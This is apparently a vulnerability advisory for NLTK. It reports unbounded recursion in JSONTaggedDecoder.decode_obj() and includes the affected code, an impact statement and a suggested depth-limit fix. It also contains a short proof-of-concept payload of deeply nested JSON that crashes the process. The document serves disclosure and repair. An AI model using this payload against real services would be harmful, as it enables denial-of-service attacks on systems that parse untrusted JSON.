Vulnerability Instance

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
### Summary
`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself 
recursively without any depth limit. A deeply nested JSON structure 
exceeding `sys.getrecursionlimit()` (default: 1000) will raise an 
unhandled `RecursionError`, crashing the Python process.

### Affected code
File: `nltk/jsontags.py`, lines 47–52
```python
@classmethod
def decode_obj(cls, obj):
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val) for val in obj)
```

### Proof of Concept
```python
import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
```

### Impact
Any code path that passes externally-supplied JSON to 
`JSONTaggedDecoder` is vulnerable to denial of service.
The severity depends on whether such a path exists in the 
calling code (e.g. `nltk/data.py`).

### Suggested Fix
Add a depth parameter with a hard limit:
```python
@classmethod
def decode_obj(cls, obj, _depth=0):
    if _depth > 100:
        raise ValueError("JSON nesting too deep")
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val, _depth + 1) 
               for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
```